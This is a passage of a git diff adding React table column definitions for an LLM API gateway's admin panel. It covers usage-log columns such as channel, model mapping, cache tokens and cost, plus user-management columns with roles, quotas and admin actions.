+  'light-blue',
+  'lime',
+  'orange',
+  'pink',
+  'purple',
+  'red',
+  'teal',
+  'violet',
+  'yellow',
+];
+
+function formatRatio(ratio) {
+  if (ratio === undefined || ratio === null) {
+    return '-';
+  }
+  if (typeof ratio === 'number') {
+    return ratio.toFixed(4);
+  }
+  return String(ratio);
+}
+
+function buildChannelAffinityTooltip(affinity, t) {
+  if (!affinity) {
+    return null;
+  }
+
+  const keySource = affinity.key_source || '-';
+  const keyPath = affinity.key_path || affinity.key_key || '-';
+  const keyHint = affinity.key_hint || '';
+  const keyFp = affinity.key_fp ? `#${affinity.key_fp}` : '';
+  const keyText = `${keySource}:${keyPath}${keyFp}`;
+
+  const lines = [
+    t('渠道亲和性'),
+    `${t('规则')}：${affinity.rule_name || '-'}`,
+    `${t('分组')}：${affinity.selected_group || '-'}`,
+    `${t('Key')}：${keyText}`,
+    ...(keyHint ? [`${t('Key 摘要')}：${keyHint}`] : []),
+  ];
+
+  return (
+    <div style={{ lineHeight: 1.6, display: 'flex', flexDirection: 'column' }}>
+      {lines.map((line, i) => (
+        <div key={i}>{line}</div>
+      ))}
+    </div>
+  );
+}
+
+// Render functions
+function renderType(type, t) {
+  switch (type) {
+    case 1:
+      return (
+        <Tag color='cyan' shape='circle'>
+          {t('充值')}
+        </Tag>
+      );
+    case 2:
+      return (
+        <Tag color='lime' shape='circle'>
+          {t('消费')}
+        </Tag>
+      );
+    case 3:
+      return (
+        <Tag color='orange' shape='circle'>
+          {t('管理')}
+        </Tag>
+      );
+    case 4:
+      return (
+        <Tag color='purple' shape='circle'>
+          {t('系统')}
+        </Tag>
+      );
+    case 5:
+      return (
+        <Tag color='red' shape='circle'>
+          {t('错误')}
+        </Tag>
+      );
+    case 6:
+      return (
+        <Tag color='teal' shape='circle'>
+          {t('退款')}
+        </Tag>
+      );
+    default:
+      return (
+        <Tag color='grey' shape='circle'>
+          {t('未知')}
+        </Tag>
+      );
+  }
+}
+
+function buildStreamStatusTooltip(ss, t) {
+  if (!ss) return null;
+  const lines = [
+    t('流状态') + '：' + t('异常'),
+    (ss.end_reason || 'unknown'),
+  ];
+  if (ss.error_count > 0) {
+    lines.push(`${t('软错误')}: ${ss.error_count}`);
+  }
+  if (ss.end_error) {
+    lines.push(ss.end_error);
+  }
+  return (
+    <div style={{ lineHeight: 1.6, display: 'flex', flexDirection: 'column' }}>
+      {lines.map((line, i) => (
+        <div key={i}>{line}</div>
+      ))}
+    </div>
+  );
+}
+
+function renderIsStream(bool, t, streamStatus) {
+  const isError = streamStatus && streamStatus.status !== 'ok';
+
+  if (bool) {
+    return (
+      <span style={{ position: 'relative', display: 'inline-block' }}>
+        <Tag color='blue' shape='circle'>
+          {t('流')}
+        </Tag>
+        {isError && (
+          <Tooltip content={buildStreamStatusTooltip(streamStatus, t)}>
+            <span
+              style={{
+                position: 'absolute',
+                right: -4,
+                top: -4,
+                lineHeight: 1,
+                color: '#ef4444',
+                cursor: 'pointer',
+                userSelect: 'none',
+              }}
+            >
+              <CircleAlert
+                size={14}
+                strokeWidth={2.5}
+                color='currentColor'
+              />
+            </span>
+          </Tooltip>
+        )}
+      </span>
+    );
+  } else {
+    return (
+      <Tag color='purple' shape='circle'>
+        {t('非流')}
+      </Tag>
+    );
+  }
+}
+
+function renderUseTime(type, t) {
+  const time = parseInt(type);
+  if (time < 101) {
+    return (
+      <Tag color='green' shape='circle'>
+        {' '}
+        {time} s{' '}
+      </Tag>
+    );
+  } else if (time < 300) {
+    return (
+      <Tag color='orange' shape='circle'>
+        {' '}
+        {time} s{' '}
+      </Tag>
+    );
+  } else {
+    return (
+      <Tag color='red' shape='circle'>
+        {' '}
+        {time} s{' '}
+      </Tag>
+    );
+  }
+}
+
+function renderFirstUseTime(type, t) {
+  let time = parseFloat(type) / 1000.0;
+  time = time.toFixed(1);
+  if (time < 3) {
+    return (
+      <Tag color='green' shape='circle'>
+        {' '}
+        {time} s{' '}
+      </Tag>
+    );
+  } else if (time < 10) {
+    return (
+      <Tag color='orange' shape='circle'>
+        {' '}
+        {time} s{' '}
+      </Tag>
+    );
+  } else {
+    return (
+      <Tag color='red' shape='circle'>
+        {' '}
+        {time} s{' '}
+      </Tag>
+    );
+  }
+}
+
+function renderBillingTag(record, t) {
+  const other = getLogOther(record.other);
+  if (other?.billing_source === 'subscription') {
+    return (
+      <Tag color='green' shape='circle'>
+        {t('订阅抵扣')}
+      </Tag>
+    );
+  }
+  return null;
+}
+
+function renderModelName(record, copyText, t) {
+  let other = getLogOther(record.other);
+  let modelMapped =
+    other?.is_model_mapped &&
+    other?.upstream_model_name &&
+    other?.upstream_model_name !== '';
+  if (!modelMapped) {
+    return renderModelTag(record.model_name, {
+      onClick: (event) => {
+        copyText(event, record.model_name).then((r) => {});
+      },
+    });
+  } else {
+    return (
+      <>
+        <Space vertical align={'start'}>
+          <Popover
+            content={
+              <div style={{ padding: 10 }}>
+                <Space vertical align={'start'}>
+                  <div className='flex items-center'>
+                    <Typography.Text strong style={{ marginRight: 8 }}>
+                      {t('请求并计费模型')}:
+                    </Typography.Text>
+                    {renderModelTag(record.model_name, {
+                      onClick: (event) => {
+                        copyText(event, record.model_name).then((r) => {});
+                      },
+                    })}
+                  </div>
+                  <div className='flex items-center'>
+                    <Typography.Text strong style={{ marginRight: 8 }}>
+                      {t('实际模型')}:
+                    </Typography.Text>
+                    {renderModelTag(other.upstream_model_name, {
+                      onClick: (event) => {
+                        copyText(event, other.upstream_model_name).then(
+                          (r) => {},
+                        );
+                      },
+                    })}
+                  </div>
+                </Space>
+              </div>
+            }
+          >
+            {renderModelTag(record.model_name, {
+              onClick: (event) => {
+                copyText(event, record.model_name).then((r) => {});
+              },
+              suffixIcon: (
+                <Route
+                  style={{ width: '0.9em', height: '0.9em', opacity: 0.75 }}
+                />
+              ),
+            })}
+          </Popover>
+        </Space>
+      </>
+    );
+  }
+}
+
+function toTokenNumber(value) {
+  const parsed = Number(value);
+  if (!Number.isFinite(parsed) || parsed <= 0) {
+    return 0;
+  }
+  return parsed;
+}
+
+function formatTokenCount(value) {
+  return toTokenNumber(value).toLocaleString();
+}
+
+function getPromptCacheSummary(other) {
+  if (!other || typeof other !== 'object') {
+    return null;
+  }
+
+  const cacheReadTokens = toTokenNumber(other.cache_tokens);
+  const cacheCreationTokens = toTokenNumber(other.cache_creation_tokens);
+  const cacheCreationTokens5m = toTokenNumber(other.cache_creation_tokens_5m);
+  const cacheCreationTokens1h = toTokenNumber(other.cache_creation_tokens_1h);
+
+  const hasSplitCacheCreation =
+    cacheCreationTokens5m > 0 || cacheCreationTokens1h > 0;
+  const cacheWriteTokens = hasSplitCacheCreation
+    ? cacheCreationTokens5m + cacheCreationTokens1h
+    : cacheCreationTokens;
+
+  if (cacheReadTokens <= 0 && cacheWriteTokens <= 0) {
+    return null;
+  }
+
+  return {
+    cacheReadTokens,
+    cacheWriteTokens,
+  };
+}
+
+function normalizeDetailText(detail) {
+  return String(detail || '')
+    .replace(/\n\r/g, '\n')
+    .replace(/\r\n/g, '\n');
+}
+
+function getUsageLogGroupSummary(groupRatio, userGroupRatio, t) {
+  const parsedUserGroupRatio = Number(userGroupRatio);
+  const useUserGroupRatio =
+    Number.isFinite(parsedUserGroupRatio) && parsedUserGroupRatio !== -1;
+  const ratio = useUserGroupRatio ? userGroupRatio : groupRatio;
+  if (ratio === undefined || ratio === null || ratio === '') {
+    return '';
+  }
+  return `${useUserGroupRatio ? t('专属倍率') : t('分组')} ${formatRatio(ratio)}x`;
+}
+
+function renderCompactDetailSummary(summarySegments) {
+  const segments = Array.isArray(summarySegments)
+    ? summarySegments.filter((segment) => segment?.text)
+    : [];
+  if (!segments.length) {
+    return null;
+  }
+
+  return (
+    <div
+      style={{
+        maxWidth: 180,
+        lineHeight: 1.35,
+      }}
+    >
+      {segments.map((segment, index) => (
+        <Typography.Text
+          key={`${segment.text}-${index}`}
+          type={segment.tone === 'secondary' ? 'tertiary' : undefined}
+          size={segment.tone === 'secondary' ? 'small' : undefined}
+          style={{
+            display: 'block',
+            maxWidth: '100%',
+            fontSize: 12,
+            marginTop: index === 0 ? 0 : 2,
+            whiteSpace: 'nowrap',
+            overflow: 'hidden',
+            textOverflow: 'ellipsis',
+          }}
+        >
+          {segment.text}
+        </Typography.Text>
+      ))}
+    </div>
+  );
+}
+
+function getUsageLogDetailSummary(record, text, billingDisplayMode, t) {
+  const other = getLogOther(record.other);
+
+  if (record.type === 6) {
+    return {
+      segments: [{ text: t('异步任务退款'), tone: 'primary' }],
+    };
+  }
+
+  if (other == null || record.type !== 2) {
+    return null;
+  }
+
+  if (
+    other?.violation_fee === true ||
+    Boolean(other?.violation_fee_code) ||
+    Boolean(other?.violation_fee_marker)
+  ) {
+    const feeQuota = other?.fee_quota ?? record?.quota;
+    const groupText = getUsageLogGroupSummary(
+      other?.group_ratio,
+      other?.user_group_ratio,
+      t,
+    );
+    return {
+      segments: [
+        groupText ? { text: groupText, tone: 'primary' } : null,
+        { text: t('违规扣费'), tone: 'primary' },
+        {
+          text: `${t('扣费')}：${renderQuota(feeQuota, 6)}`,
+          tone: 'secondary',
+        },
+        text ? { text: `${t('详情')}：${text}`, tone: 'secondary' } : null,
+      ].filter(Boolean),
+    };
+  }
+
+  const summaryOpts = { ...other, displayMode: billingDisplayMode, outputMode: 'segments' };
+
+  if (other?.billing_mode === 'tiered_expr') {
+    return { segments: renderTieredModelPriceSimple(summaryOpts) };
+  }
+
+  return {
+    segments: other?.claude
+      ? renderModelPriceSimple({ ...summaryOpts, provider: 'claude' })
+      : renderModelPriceSimple({ ...summaryOpts, provider: 'openai' }),
+  };
+}
+
+export const getLogsColumns = ({
+  t,
+  COLUMN_KEYS,
+  copyText,
+  showUserInfoFunc,
+  openChannelAffinityUsageCacheModal,
+  isAdminUser,
+  billingDisplayMode = 'price',
+}) => {
+  return [
+    {
+      key: COLUMN_KEYS.TIME,
+      title: t('时间'),
+      dataIndex: 'timestamp2string',
+    },
+    {
+      key: COLUMN_KEYS.CHANNEL,
+      title: t('渠道'),
+      dataIndex: 'channel',
+      render: (text, record, index) => {
+        let isMultiKey = false;
+        let multiKeyIndex = -1;
+        let content = t('渠道') + `：${record.channel}`;
+        let affinity = null;
+        let showMarker = false;
+        let other = getLogOther(record.other);
+        if (other?.admin_info) {
+          let adminInfo = other.admin_info;
+          if (adminInfo?.is_multi_key) {
+            isMultiKey = true;
+            multiKeyIndex = adminInfo.multi_key_index;
+          }
+          if (
+            Array.isArray(adminInfo.use_channel) &&
+            adminInfo.use_channel.length > 0
+          ) {
+            content = t('渠道') + `：${adminInfo.use_channel.join('->')}`;
+          }
+          if (adminInfo.channel_affinity) {
+            affinity = adminInfo.channel_affinity;
+            showMarker = true;
+          }
+        }
+
+        return isAdminUser &&
+          (record.type === 0 ||
+            record.type === 2 ||
+            record.type === 5 ||
+            record.type === 6) ? (
+          <Space>
+            <span style={{ position: 'relative', display: 'inline-block' }}>
+              <Tooltip content={record.channel_name || t('未知渠道')}>
+                <span>
+                  <Tag
+                    color={colors[parseInt(text) % colors.length]}
+                    shape='circle'
+                  >
+                    {text}
+                  </Tag>
+                </span>
+              </Tooltip>
+              {showMarker && (
+                <Tooltip
+                  content={
+                    <div style={{ lineHeight: 1.6 }}>
+                      <div>{content}</div>
+                      {affinity ? (
+                        <div style={{ marginTop: 6 }}>
+                          {buildChannelAffinityTooltip(affinity, t)}
+                        </div>
+                      ) : null}
+                    </div>
+                  }
+                >
+                  <span
+                    style={{
+                      position: 'absolute',
+                      right: -4,
+                      top: -4,
+                      lineHeight: 1,
+                      fontWeight: 600,
+                      color: '#f59e0b',
+                      cursor: 'pointer',
+                      userSelect: 'none',
+                    }}
+                    onClick={(e) => {
+                      e.stopPropagation();
+                      openChannelAffinityUsageCacheModal?.(affinity);
+                    }}
+                  >
+                    <Sparkles
+                      size={14}
+                      strokeWidth={2}
+                      color='currentColor'
+                      fill='currentColor'
+                    />
+                  </span>
+                </Tooltip>
+              )}
+            </span>
+            {isMultiKey && (
+              <Tag color='white' shape='circle'>
+                {multiKeyIndex}
+              </Tag>
+            )}
+          </Space>
+        ) : null;
+      },
+    },
+    {
+      key: COLUMN_KEYS.USERNAME,
+      title: t('用户'),
+      dataIndex: 'username',
+      render: (text, record, index) => {
+        return isAdminUser ? (
+          <div>
+            <Avatar
+              size='extra-small'
+              color={stringToColor(text)}
+              style={{ marginRight: 4 }}
+              onClick={(event) => {
+                event.stopPropagation();
+                showUserInfoFunc(record.user_id);
+              }}
+            >
+              {typeof text === 'string' && text.slice(0, 1)}
+            </Avatar>
+            {text}
+          </div>
+        ) : (
+          <></>
+        );
+      },
+    },
+    {
+      key: COLUMN_KEYS.TOKEN,
+      title: t('令牌'),
+      dataIndex: 'token_name',
+      render: (text, record, index) => {
+        return record.type === 0 ||
+          record.type === 2 ||
+          record.type === 5 ||
+          record.type === 6 ? (
+          <div>
+            <Tag
+              color='grey'
+              shape='circle'
+              onClick={(event) => {
+                copyText(event, text);
+              }}
+            >
+              {' '}
+              {t(text)}{' '}
+            </Tag>
+          </div>
+        ) : (
+          <></>
+        );
+      },
+    },
+    {
+      key: COLUMN_KEYS.GROUP,
+      title: t('分组'),
+      dataIndex: 'group',
+      render: (text, record, index) => {
+        if (
+          record.type === 0 ||
+          record.type === 2 ||
+          record.type === 5 ||
+          record.type === 6
+        ) {
+          if (record.group) {
+            return <>{renderGroup(record.group)}</>;
+          } else {
+            let other = null;
+            try {
+              other = JSON.parse(record.other);
+            } catch (e) {
+              console.error(
+                `Failed to parse record.other: "${record.other}".`,
+                e,
+              );
+            }
+            if (other === null) {
+              return <></>;
+            }
+            if (other.group !== undefined) {
+              return <>{renderGroup(other.group)}</>;
+            } else {
+              return <></>;
+            }
+          }
+        } else {
+          return <></>;
+        }
+      },
+    },
+    {
+      key: COLUMN_KEYS.TYPE,
+      title: t('类型'),
+      dataIndex: 'type',
+      render: (text, record, index) => {
+        return <>{renderType(text, t)}</>;
+      },
+    },
+    {
+      key: COLUMN_KEYS.MODEL,
+      title: t('模型'),
+      dataIndex: 'model_name',
+      render: (text, record, index) => {
+        return record.type === 0 ||
+          record.type === 2 ||
+          record.type === 5 ||
+          record.type === 6 ? (
+          <>{renderModelName(record, copyText, t)}</>
+        ) : (
+          <></>
+        );
+      },
+    },
+    {
+      key: COLUMN_KEYS.USE_TIME,
+      title: t('用时/首字'),
+      dataIndex: 'use_time',
+      render: (text, record, index) => {
+        if (!(record.type === 2 || record.type === 5)) {
+          return <></>;
+        }
+        if (record.is_stream) {
+          let other = getLogOther(record.other);
+          return (
+            <>
+              <Space>
+                {renderUseTime(text, t)}
+                {renderFirstUseTime(other?.frt, t)}
+                {renderIsStream(record.is_stream, t, other?.stream_status)}
+              </Space>
+            </>
+          );
+        } else {
+          return (
+            <>
+              <Space>
+                {renderUseTime(text, t)}
+                {renderIsStream(record.is_stream, t)}
+              </Space>
+            </>
+          );
+        }
+      },
+    },
+    {
+      key: COLUMN_KEYS.PROMPT,
+      title: (
+        <div className='flex items-center gap-1'>
+          {t('输入')}
+          <Tooltip
+            content={t(
+              '根据 Anthropic 协定，/v1/messages 的输入 tokens 仅统计非缓存输入，不包含缓存读取与缓存写入 tokens。',
+            )}
+          >
+            <IconHelpCircle className='text-gray-400 cursor-help' />
+          </Tooltip>
+        </div>
+      ),
+      dataIndex: 'prompt_tokens',
+      render: (text, record, index) => {
+        const other = getLogOther(record.other);
+        const cacheSummary = getPromptCacheSummary(other);
+        const hasCacheRead = (cacheSummary?.cacheReadTokens || 0) > 0;
+        const hasCacheWrite = (cacheSummary?.cacheWriteTokens || 0) > 0;
+        let cacheText = '';
+        if (hasCacheRead && hasCacheWrite) {
+          cacheText = `${t('缓存读')} ${formatTokenCount(cacheSummary.cacheReadTokens)} · ${t('写')} ${formatTokenCount(cacheSummary.cacheWriteTokens)}`;
+        } else if (hasCacheRead) {
+          cacheText = `${t('缓存读')} ${formatTokenCount(cacheSummary.cacheReadTokens)}`;
+        } else if (hasCacheWrite) {
+          cacheText = `${t('缓存写')} ${formatTokenCount(cacheSummary.cacheWriteTokens)}`;
+        }
+
+        return record.type === 0 ||
+          record.type === 2 ||
+          record.type === 5 ||
+          record.type === 6 ? (
+          <div
+            style={{
+              display: 'inline-flex',
+              flexDirection: 'column',
+              alignItems: 'flex-start',
+              lineHeight: 1.2,
+            }}
+          >
+            <span>{text}</span>
+            {cacheText ? (
+              <span
+                style={{
+                  marginTop: 2,
+                  fontSize: 11,
+                  color: 'var(--semi-color-text-2)',
+                  whiteSpace: 'nowrap',
+                }}
+              >
+                {cacheText}
+              </span>
+            ) : null}
+          </div>
+        ) : (
+          <></>
+        );
+      },
+    },
+    {
+      key: COLUMN_KEYS.COMPLETION,
+      title: t('输出'),
+      dataIndex: 'completion_tokens',
+      render: (text, record, index) => {
+        return parseInt(text) > 0 &&
+          (record.type === 0 ||
+            record.type === 2 ||
+            record.type === 5 ||
+            record.type === 6) ? (
+          <>{<span> {text} </span>}</>
+        ) : (
+          <></>
+        );
+      },
+    },
+    {
+      key: COLUMN_KEYS.COST,
+      title: t('花费'),
+      dataIndex: 'quota',
+      render: (text, record, index) => {
+        if (
+          !(
+            record.type === 0 ||
+            record.type === 2 ||
+            record.type === 5 ||
+            record.type === 6
+          )
+        ) {
+          return <></>;
+        }
+        const other = getLogOther(record.other);
+        const isSubscription = other?.billing_source === 'subscription';
+        if (isSubscription) {
+          // Subscription billed: show only tag (no $0), but keep tooltip for equivalent cost.
+          return (
+            <Tooltip content={`${t('由订阅抵扣')}：${renderQuota(text, 6)}`}>
+              <span>{renderBillingTag(record, t)}</span>
+            </Tooltip>
+          );
+        }
+        return <>{renderQuota(text, 6)}</>;
+      },
+    },
+    {
+      key: COLUMN_KEYS.IP,
+      title: (
+        <div className='flex items-center gap-1'>
+          {t('IP')}
+          <Tooltip
+            content={t(
+              '只有当用户设置开启IP记录时，才会进行请求和错误类型日志的IP记录',
+            )}
+          >
+            <IconHelpCircle className='text-gray-400 cursor-help' />
+          </Tooltip>
+        </div>
+      ),
+      dataIndex: 'ip',
+      render: (text, record, index) => {
+        const showIp =
+          (record.type === 2 ||
+            record.type === 5 ||
+            (isAdminUser && record.type === 1)) &&
+          text;
+        return showIp ? (
+          <Tooltip content={text}>
+            <span>
+              <Tag
+                color='orange'
+                shape='circle'
+                onClick={(event) => {
+                  copyText(event, text);
+                }}
+              >
+                {text}
+              </Tag>
+            </span>
+          </Tooltip>
+        ) : (
+          <></>
+        );
+      },
+    },
+    {
+      key: COLUMN_KEYS.RETRY,
+      title: t('重试'),
+      dataIndex: 'retry',
+      render: (text, record, index) => {
+        if (!(record.type === 2 || record.type === 5)) {
+          return <></>;
+        }
+        let content = t('渠道') + `：${record.channel}`;
+        if (record.other !== '') {
+          let other = JSON.parse(record.other);
+          if (other === null) {
+            return <></>;
+          }
+          if (other.admin_info !== undefined) {
+            if (
+              other.admin_info.use_channel !== null &&
+              other.admin_info.use_channel !== undefined &&
+              other.admin_info.use_channel !== ''
+            ) {
+              let useChannel = other.admin_info.use_channel;
+              let useChannelStr = useChannel.join('->');
+              content = t('渠道') + `：${useChannelStr}`;
+            }
+          }
+        }
+        return isAdminUser ? <div>{content}</div> : <></>;
+      },
+    },
+    {
+      key: COLUMN_KEYS.DETAILS,
+      title: t('详情'),
+      dataIndex: 'content',
+      fixed: 'right',
+      width: 200,
+      render: (text, record, index) => {
+        const detailSummary = getUsageLogDetailSummary(
+          record,
+          text,
+          billingDisplayMode,
+          t,
+        );
+
+        if (!detailSummary) {
+          return (
+            <Typography.Paragraph
+              ellipsis={{
+                rows: 2,
+                showTooltip: {
+                  type: 'popover',
+                  opts: { style: { width: 240 } },
+                },
+              }}
+              style={{ maxWidth: 200, marginBottom: 0 }}
+            >
+              {text}
+            </Typography.Paragraph>
+          );
+        }
+
+        return renderCompactDetailSummary(detailSummary.segments);
+      },
+    },
+  ];
+};
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/table/users/UsersColumnDefs.jsx b/_all-in-one-upload/new-api/web/classic/src/components/table/users/UsersColumnDefs.jsx
new file mode 100644
index 0000000..2e0d171
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/table/users/UsersColumnDefs.jsx
@@ -0,0 +1,390 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React from 'react';
+import {
+  Button,
+  Space,
+  Tag,
+  Tooltip,
+  Progress,
+  Popover,
+  Typography,
+  Dropdown,
+} from '@douyinfe/semi-ui';
+import { IconMore } from '@douyinfe/semi-icons';
+import {
+  renderGroup,
+  renderNumber,
+  renderQuota,
+  timestamp2string,
+} from '../../../helpers';
+
+const renderTimestamp = (text) => (text ? timestamp2string(text) : '-');
+
+/**
+ * Render user role
+ */
+const renderRole = (role, t) => {
+  switch (role) {
+    case 1:
+      return (
+        <Tag color='blue' shape='circle'>
+          {t('普通用户')}
+        </Tag>
+      );
+    case 10:
+      return (
+        <Tag color='yellow' shape='circle'>
+          {t('管理员')}
+        </Tag>
+      );
+    case 100:
+      return (
+        <Tag color='orange' shape='circle'>
+          {t('超级管理员')}
+        </Tag>
+      );
+    default:
+      return (
+        <Tag color='red' shape='circle'>
+          {t('未知身份')}
+        </Tag>
+      );
+  }
+};
+
+/**
+ * Render username with remark
+ */
+const renderUsername = (text, record) => {
+  const remark = record.remark;
+  if (!remark) {
+    return <span>{text}</span>;
+  }
+  const maxLen = 10;
+  const displayRemark =
+    remark.length > maxLen ? remark.slice(0, maxLen) + '…' : remark;
+  return (
+    <Space spacing={2}>
+      <span>{text}</span>
+      <Tooltip content={remark} position='top' showArrow>
+        <Tag color='white' shape='circle' className='!text-xs'>
+          <div className='flex items-center gap-1'>
+            <div
+              className='w-2 h-2 flex-shrink-0 rounded-full'
+              style={{ backgroundColor: '#10b981' }}
+            />
+            {displayRemark}
+          </div>
+        </Tag>
+      </Tooltip>
+    </Space>
+  );
+};
+
+/**
+ * Render user statistics
+ */
+const renderStatistics = (text, record, showEnableDisableModal, t) => {
+  const isDeleted = record.DeletedAt !== null;
+
+  // Determine tag text & color like original status column
+  let tagColor = 'grey';
+  let tagText = t('未知状态');
+  if (isDeleted) {
+    tagColor = 'red';
+    tagText = t('已注销');
+  } else if (record.status === 1) {
+    tagColor = 'green';
+    tagText = t('已启用');
+  } else if (record.status === 2) {
+    tagColor = 'red';
+    tagText = t('已禁用');
+  }
+
+  const content = (
+    <Tag color={tagColor} shape='circle' size='small'>
+      {tagText}
+    </Tag>
+  );
+
+  const tooltipContent = (
+    <div className='text-xs'>
+      <div>
+        {t('调用次数')}: {renderNumber(record.request_count)}
+      </div>
+    </div>
+  );
+
+  return (
+    <Tooltip content={tooltipContent} position='top'>
+      {content}
+    </Tooltip>
+  );
+};
+
+// Render separate quota usage column
+const renderQuotaUsage = (text, record, t) => {
+  const { Paragraph } = Typography;
+  const used = parseInt(record.used_quota) || 0;
+  const remain = parseInt(record.quota) || 0;
+  const total = used + remain;
+  const percent = total > 0 ? (remain / total) * 100 : 0;
+  const popoverContent = (
+    <div className='text-xs p-2'>
+      <Paragraph copyable={{ content: renderQuota(used) }}>
+        {t('已用额度')}: {renderQuota(used)}
+      </Paragraph>
+      <Paragraph copyable={{ content: renderQuota(remain) }}>
+        {t('剩余额度')}: {renderQuota(remain)} ({percent.toFixed(0)}%)
+      </Paragraph>
+      <Paragraph copyable={{ content: renderQuota(total) }}>
+        {t('总额度')}: {renderQuota(total)}
+      </Paragraph>
+    </div>
+  );
+  return (
+    <Popover content={popoverContent} position='top'>
+      <Tag color='white' shape='circle'>
+        <div className='flex flex-col items-end'>
+          <span className='text-xs leading-none'>{`${renderQuota(remain)} / ${renderQuota(total)}`}</span>
+          <Progress
+            percent={percent}
+            aria-label='quota usage'
+            format={() => `${percent.toFixed(0)}%`}
+            style={{ width: '100%', marginTop: '1px', marginBottom: 0 }}
+          />
+        </div>
+      </Tag>
+    </Popover>
+  );
+};
+
+/**
+ * Render invite information
+ */
+const renderInviteInfo = (text, record, t) => {
+  return (
+    <div>
+      <Space spacing={1}>
+        <Tag color='white' shape='circle' className='!text-xs'>
+          {t('邀请')}: {renderNumber(record.aff_count)}
+        </Tag>
+        <Tag color='white' shape='circle' className='!text-xs'>
+          {t('收益')}: {renderQuota(record.aff_history_quota)}
+        </Tag>
+        <Tag color='white' shape='circle' className='!text-xs'>
+          {record.inviter_id === 0
+            ? t('无邀请人')
+            : `${t('邀请人')}: ${record.inviter_id}`}
+        </Tag>
+      </Space>
+    </div>
+  );
+};
+
+/**
+ * Render operations column
+ */
+const renderOperations = (
+  text,
+  record,
+  {
+    setEditingUser,
+    setShowEditUser,
+    showPromoteModal,
+    showDemoteModal,
+    showEnableDisableModal,
+    showDeleteModal,
+    showResetPasskeyModal,
+    showResetTwoFAModal,
+    showUserSubscriptionsModal,
+    t,
+  },
+) => {
+  if (record.DeletedAt !== null) {
+    return <></>;
+  }
+
+  const moreMenu = [
+    {
+      node: 'item',
+      name: t('订阅管理'),
+      onClick: () => showUserSubscriptionsModal(record),
+    },
+    {
+      node: 'divider',
+    },
+    {
+      node: 'item',
+      name: t('重置 Passkey'),
+      onClick: () => showResetPasskeyModal(record),
+    },
+    {
+      node: 'item',
+      name: t('重置 2FA'),
+      onClick: () => showResetTwoFAModal(record),
+    },
+    {
+      node: 'divider',
+    },
+    {
+      node: 'item',
+      name: t('注销'),
+      type: 'danger',
+      onClick: () => showDeleteModal(record),
+    },
+  ];
+
+  return (
+    <Space>
+      {record.status === 1 ? (
+        <Button
+          type='danger'
+          size='small'
+          onClick={() => showEnableDisableModal(record, 'disable')}
+        >
+          {t('禁用')}
+        </Button>
+      ) : (
+        <Button
+          size='small'
+          onClick={() => showEnableDisableModal(record, 'enable')}
+        >
+          {t('启用')}
+        </Button>
+      )}
+      <Button
+        type='tertiary'
+        size='small'
+        onClick={() => {
+          setEditingUser(record);
+          setShowEditUser(true);
+        }}
+      >
+        {t('编辑')}
+      </Button>
+      <Button
+        type='warning'
+        size='small'
+        onClick={() => showPromoteModal(record)}
+      >
+        {t('提升')}
+      </Button>
+      <Button
+        type='secondary'
+        size='small'
+        onClick={() => showDemoteModal(record)}
+      >
+        {t('降级')}
+      </Button>
+      <Dropdown menu={moreMenu} trigger='click' position='bottomRight'>
+        <Button type='tertiary' size='small' icon={<IconMore />} />
+      </Dropdown>
+    </Space>
+  );
+};
+
+/**
+ * Get users table column definitions
+ */
+export const getUsersColumns = ({
+  t,
+  setEditingUser,
+  setShowEditUser,
+  showPromoteModal,
+  showDemoteModal,
+  showEnableDisableModal,
+  showDeleteModal,
+  showResetPasskeyModal,
+  showResetTwoFAModal,
+  showUserSubscriptionsModal,
+}) => {
+  return [
+    {
+      title: 'ID',
+      dataIndex: 'id',
+    },
+    {
+      title: t('用户名'),
+      dataIndex: 'username',
+      render: (text, record) => renderUsername(text, record),
+    },
+    {
+      title: t('状态'),
+      dataIndex: 'info',
+      render: (text, record, index) =>
+        renderStatistics(text, record, showEnableDisableModal, t),
+    },
+    {
+      title: t('剩余额度/总额度'),
+      key: 'quota_usage',
+      render: (text, record) => renderQuotaUsage(text, record, t),
+    },
+    {
+      title: t('分组'),
+      dataIndex: 'group',
+      render: (text, record, index) => {
+        return <div>{renderGroup(text)}</div>;
+      },
+    },
+    {
+      title: t('角色'),
+      dataIndex: 'role',
+      render: (text, record, index) => {
+        return <div>{renderRole(text, t)}</div>;
+      },
+    },
+    {
+      title: t('邀请信息'),
+      dataIndex: 'invite',
+      render: (text, record, index) => renderInviteInfo(text, record, t),
+    },
+    {
+      title: t('创建时间'),
+      dataIndex: 'created_at',
+      render: renderTimestamp,
+    },
+    {
+      title: t('最后登录'),
+      dataIndex: 'last_login_at',
+      render: renderTimestamp,
+    },
+    {
+      title: '',
+      dataIndex: 'operate',
+      fixed: 'right',
+      width: 200,
+      render: (text, record, index) =>
+        renderOperations(text, record, {
+          setEditingUser,
+          setShowEditUser,
+          showPromoteModal,
+          showDemoteModal,
+          showEnableDisableModal,
+          showDeleteModal,
+          showResetPasskeyModal,
+          showResetTwoFAModal,
+          showUserSubscriptionsModal,
+          t,
+        }),
+    },
+  ];
+};
diff --git a/_all-in-one-upload/new-api/web/classic/src/components/table/users/modals/UserSubscriptionsModal.jsx b/_all-in-one-upload/new-api/web/classic/src/components/table/users/modals/UserSubscriptionsModal.jsx
new file mode 100644
index 0000000..455f7b1
--- /dev/null
+++ b/_all-in-one-upload/new-api/web/classic/src/components/table/users/modals/UserSubscriptionsModal.jsx
@@ -0,0 +1,433 @@
+/*
+Copyright (C) 2025 QuantumNous
+
+This program is free software: you can redistribute it and/or modify
+it under the terms of the GNU Affero General Public License as
+published by the Free Software Foundation, either version 3 of the
+License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+GNU Affero General Public License for more details.
+
+You should have received a copy of the GNU Affero General Public License
+along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+For commercial licensing, please contact support@quantumnous.com
+*/
+
+import React, { useEffect, useMemo, useState } from 'react';
+import {
+  Button,
